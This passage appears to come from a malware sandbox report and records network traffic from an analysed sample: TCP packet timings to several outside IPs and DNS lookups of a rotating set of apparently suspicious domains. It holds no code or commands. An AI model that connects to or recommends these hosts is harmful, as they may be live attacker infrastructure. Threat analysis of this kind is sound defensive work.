Jul 9, 2024 12:10:14.386137009 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.386250973 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:14.391256094 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.391367912 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.391470909 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:14.472342968 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.472397089 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.472450972 CEST	80	49744	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:14.472534895 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:15.309700966 CEST	49744	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.344990969 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.354706049 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.354912043 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.382255077 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.387859106 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950479031 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950509071 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950525999 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950541973 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950557947 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950575113 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.950608969 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.950655937 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.951143026 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.951159954 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.951175928 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.951191902 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.951215029 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.951239109 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.955658913 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.955677032 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.955693960 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.955787897 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.955914021 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:16.956001043 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:16.956021070 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:17.012005091 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:17.037429094 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:17.037448883 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:17.037467957 CEST	80	49745	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:17.037600040 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:17.888998032 CEST	49745	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:18.931778908 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:18.939820051 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:18.940527916 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:18.963701010 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:18.969213009 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:18.969255924 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623357058 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623385906 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623403072 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623419046 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623435974 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623451948 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623456001 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.623469114 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623507977 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.623507977 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.623610020 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623625994 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623641968 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.623656988 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.623675108 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.628585100 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.628655910 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.628674030 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.628698111 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.682997942 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.713958979 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.714013100 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.714056015 CEST	80	49746	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:19.714107990 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:19.714140892 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:20.481473923 CEST	49746	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:21.520001888 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:21.526151896 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:21.526241064 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:21.548355103 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:21.553319931 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168304920 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168358088 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168391943 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168430090 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168425083 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.168463945 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168519020 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.168581009 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168613911 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168622971 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.168648958 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168689013 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.168808937 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168839931 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.168879986 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.173526049 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.173696041 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.173728943 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.173748970 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.173789978 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.173846960 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.260926008 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.261020899 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.261055946 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:22.261101961 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.261132002 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.272260904 CEST	49747	80	192.168.2.9	162.254.38.56
Jul 9, 2024 12:10:22.277460098 CEST	80	49747	162.254.38.56	192.168.2.9
Jul 9, 2024 12:10:27.334606886 CEST	49748	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:27.340337992 CEST	80	49748	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:27.340410948 CEST	49748	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:27.367615938 CEST	49748	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:27.374743938 CEST	80	49748	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:28.874370098 CEST	49748	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:28.881211042 CEST	80	49748	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:28.882991076 CEST	49748	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:29.908077955 CEST	49749	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:29.915134907 CEST	80	49749	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:29.915209055 CEST	49749	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:29.937726974 CEST	49749	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:29.944271088 CEST	80	49749	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:30.593400955 CEST	80	49749	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:30.593626976 CEST	80	49749	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:30.593746901 CEST	49749	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:31.451064110 CEST	49749	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:32.490400076 CEST	49750	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:32.495590925 CEST	80	49750	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:32.498229027 CEST	49750	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:32.518081903 CEST	49750	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:32.523199081 CEST	80	49750	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:32.523268938 CEST	80	49750	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:34.028971910 CEST	49750	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:34.035145998 CEST	80	49750	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:34.035226107 CEST	49750	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:35.065681934 CEST	49751	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:35.071759939 CEST	80	49751	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:35.074219942 CEST	49751	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:35.094050884 CEST	49751	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:35.099239111 CEST	80	49751	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:35.748955965 CEST	80	49751	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:35.749372959 CEST	80	49751	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:35.749447107 CEST	49751	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:35.759077072 CEST	49751	80	192.168.2.9	5.252.229.221
Jul 9, 2024 12:10:35.766077042 CEST	80	49751	5.252.229.221	192.168.2.9
Jul 9, 2024 12:10:40.808561087 CEST	49752	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:40.814110041 CEST	80	49752	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:40.814193964 CEST	49752	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:40.838975906 CEST	49752	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:40.844046116 CEST	80	49752	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:41.589036942 CEST	80	49752	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:41.589447975 CEST	80	49752	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:41.589565039 CEST	49752	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:42.361524105 CEST	49752	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:43.395874023 CEST	49753	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:43.401180983 CEST	80	49753	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:43.401314974 CEST	49753	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:43.430684090 CEST	49753	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:43.435786009 CEST	80	49753	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:44.154918909 CEST	80	49753	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:44.154987097 CEST	80	49753	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:44.155206919 CEST	49753	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:44.935451031 CEST	49753	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:46.058335066 CEST	49754	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:46.063400984 CEST	80	49754	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:46.063554049 CEST	49754	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:46.092117071 CEST	49754	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:46.097160101 CEST	80	49754	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:46.097176075 CEST	80	49754	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:46.793827057 CEST	80	49754	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:46.795486927 CEST	80	49754	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:46.795557022 CEST	49754	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:47.608069897 CEST	49754	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:48.671225071 CEST	49755	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:48.676171064 CEST	80	49755	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:48.676500082 CEST	49755	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:48.702397108 CEST	49755	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:48.707165956 CEST	80	49755	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:49.407016039 CEST	80	49755	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:49.407424927 CEST	80	49755	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:49.407480955 CEST	49755	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:49.417218924 CEST	49755	80	192.168.2.9	142.250.185.147
Jul 9, 2024 12:10:49.422133923 CEST	80	49755	142.250.185.147	192.168.2.9
Jul 9, 2024 12:10:54.484618902 CEST	49756	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:54.489489079 CEST	80	49756	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:54.489641905 CEST	49756	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:54.515111923 CEST	49756	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:54.520607948 CEST	80	49756	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:55.101762056 CEST	80	49756	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:55.101871014 CEST	80	49756	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:55.103326082 CEST	49756	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:56.028652906 CEST	49756	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:57.066118956 CEST	49757	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:57.071206093 CEST	80	49757	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:57.075107098 CEST	49757	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:57.095263958 CEST	49757	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:57.100610018 CEST	80	49757	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:57.710562944 CEST	80	49757	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:57.710993052 CEST	80	49757	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:57.711046934 CEST	49757	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:58.607000113 CEST	49757	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:59.646034956 CEST	49758	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:59.651293993 CEST	80	49758	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:59.651387930 CEST	49758	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:59.676304102 CEST	49758	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:10:59.683546066 CEST	80	49758	185.181.104.242	192.168.2.9
Jul 9, 2024 12:10:59.684048891 CEST	80	49758	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:00.287606955 CEST	80	49758	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:00.287676096 CEST	80	49758	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:00.287733078 CEST	49758	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:01.186844110 CEST	49758	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:02.223867893 CEST	49759	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:02.799158096 CEST	80	49759	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:02.800183058 CEST	49759	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:02.820585012 CEST	49759	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:02.825721025 CEST	80	49759	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:03.412784100 CEST	80	49759	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:03.412811041 CEST	80	49759	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:03.412935972 CEST	49759	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:03.423051119 CEST	49759	80	192.168.2.9	185.181.104.242
Jul 9, 2024 12:11:03.427871943 CEST	80	49759	185.181.104.242	192.168.2.9
Jul 9, 2024 12:11:08.928257942 CEST	49760	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:08.933208942 CEST	80	49760	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:08.935079098 CEST	49760	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:08.956190109 CEST	49760	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:08.962471008 CEST	80	49760	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:09.524163008 CEST	80	49760	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:09.524473906 CEST	80	49760	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:09.524538040 CEST	49760	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:10.466315031 CEST	49760	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:11.505327940 CEST	49761	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:11.510777950 CEST	80	49761	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:11.510848999 CEST	49761	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:11.535007954 CEST	49761	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:11.540147066 CEST	80	49761	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:12.099292040 CEST	80	49761	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:12.100097895 CEST	80	49761	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:12.100155115 CEST	49761	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:13.044090033 CEST	49761	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:14.086574078 CEST	49762	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:14.092247009 CEST	80	49762	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:14.092325926 CEST	49762	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:14.115359068 CEST	49762	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:14.120585918 CEST	80	49762	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:14.121089935 CEST	80	49762	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:14.693792105 CEST	80	49762	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:14.694212914 CEST	80	49762	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:14.694344044 CEST	49762	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:15.622185946 CEST	49762	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:16.657438040 CEST	49763	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:16.662671089 CEST	80	49763	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:16.663064957 CEST	49763	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:16.679042101 CEST	49763	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:16.684036016 CEST	80	49763	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:17.277434111 CEST	80	49763	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:17.277498007 CEST	80	49763	38.145.202.186	192.168.2.9
Jul 9, 2024 12:11:17.277726889 CEST	49763	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:17.286459923 CEST	49763	80	192.168.2.9	38.145.202.186
Jul 9, 2024 12:11:17.291448116 CEST	80	49763	38.145.202.186	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 9, 2024 12:08:11.577297926 CEST	64863	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:08:11.601701975 CEST	53	64863	1.1.1.1	192.168.2.9
Jul 9, 2024 12:08:32.449065924 CEST	62258	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:08:32.782533884 CEST	53	62258	1.1.1.1	192.168.2.9
Jul 9, 2024 12:08:47.678579092 CEST	61390	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:08:47.697277069 CEST	53	61390	1.1.1.1	192.168.2.9
Jul 9, 2024 12:09:01.150284052 CEST	53417	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:09:02.136219025 CEST	53417	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:09:02.676990986 CEST	53	53417	1.1.1.1	192.168.2.9
Jul 9, 2024 12:09:02.678003073 CEST	53	53417	1.1.1.1	192.168.2.9
Jul 9, 2024 12:09:16.307128906 CEST	62782	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:09:16.550077915 CEST	53	62782	1.1.1.1	192.168.2.9
Jul 9, 2024 12:09:30.170687914 CEST	62128	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:09:30.193000078 CEST	53	62128	1.1.1.1	192.168.2.9
Jul 9, 2024 12:09:45.018733025 CEST	60122	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:09:45.038877010 CEST	53	60122	1.1.1.1	192.168.2.9
Jul 9, 2024 12:09:58.767518997 CEST	52990	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:09:59.776870966 CEST	52990	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:10:00.178251028 CEST	53	52990	1.1.1.1	192.168.2.9
Jul 9, 2024 12:10:00.178312063 CEST	53	52990	1.1.1.1	192.168.2.9
Jul 9, 2024 12:10:13.521758080 CEST	56308	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:10:13.738733053 CEST	53	56308	1.1.1.1	192.168.2.9
Jul 9, 2024 12:10:27.309645891 CEST	53036	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:10:27.323451996 CEST	53	53036	1.1.1.1	192.168.2.9
Jul 9, 2024 12:10:40.785329103 CEST	64020	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:10:40.799731970 CEST	53	64020	1.1.1.1	192.168.2.9
Jul 9, 2024 12:10:54.448087931 CEST	55470	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:10:54.475109100 CEST	53	55470	1.1.1.1	192.168.2.9
Jul 9, 2024 12:11:08.460133076 CEST	55216	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:11:08.916131020 CEST	53	55216	1.1.1.1	192.168.2.9
Jul 9, 2024 12:11:22.955046892 CEST	63943	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:11:23.394615889 CEST	53	63943	1.1.1.1	192.168.2.9
Jul 9, 2024 12:11:36.844496012 CEST	55966	53	192.168.2.9	1.1.1.1
Jul 9, 2024 12:11:37.052222967 CEST	53	55966	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 9, 2024 12:08:11.577297926 CEST	192.168.2.9	1.1.1.1	0x529e	Standard query (0)	www.u9games.xyz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:08:32.449065924 CEST	192.168.2.9	1.1.1.1	0x8b4e	Standard query (0)	www.dtalengineering.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:08:47.678579092 CEST	192.168.2.9	1.1.1.1	0x8d78	Standard query (0)	www.alphacentura.com	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:01.150284052 CEST	192.168.2.9	1.1.1.1	0x2ceb	Standard query (0)	www.xn72dkd7scx.shop	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:02.136219025 CEST	192.168.2.9	1.1.1.1	0x2ceb	Standard query (0)	www.xn72dkd7scx.shop	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:16.307128906 CEST	192.168.2.9	1.1.1.1	0x7363	Standard query (0)	www.dynamologistics.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:30.170687914 CEST	192.168.2.9	1.1.1.1	0xf60d	Standard query (0)	www.globaltrend.xyz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:45.018733025 CEST	192.168.2.9	1.1.1.1	0x66b8	Standard query (0)	www.ffi07s.xyz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:58.767518997 CEST	192.168.2.9	1.1.1.1	0x9e8f	Standard query (0)	www.j51a.xyz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:59.776870966 CEST	192.168.2.9	1.1.1.1	0x9e8f	Standard query (0)	www.j51a.xyz	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:13.521758080 CEST	192.168.2.9	1.1.1.1	0x2ea6	Standard query (0)	www.dospole.top	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:27.309645891 CEST	192.168.2.9	1.1.1.1	0xc924	Standard query (0)	www.tp-consulting.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:40.785329103 CEST	192.168.2.9	1.1.1.1	0x39b1	Standard query (0)	www.lexpaidshares.online	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:54.448087931 CEST	192.168.2.9	1.1.1.1	0x4dd5	Standard query (0)	www.viertage.work	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:11:08.460133076 CEST	192.168.2.9	1.1.1.1	0x415b	Standard query (0)	www.9988566a4.shop	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:11:22.955046892 CEST	192.168.2.9	1.1.1.1	0xc5c2	Standard query (0)	www.rightol.net	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:11:36.844496012 CEST	192.168.2.9	1.1.1.1	0x5787	Standard query (0)	www.wegamovies.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 9, 2024 12:08:11.601701975 CEST	1.1.1.1	192.168.2.9	0x529e	No error (0)	www.u9games.xyz	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:08:11.601701975 CEST	1.1.1.1	192.168.2.9	0x529e	No error (0)	ghs.googlehosted.com		142.250.185.211	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:08:32.782533884 CEST	1.1.1.1	192.168.2.9	0x8b4e	No error (0)	www.dtalengineering.com		103.42.108.46	A (IP address)	IN (0x0001)	false
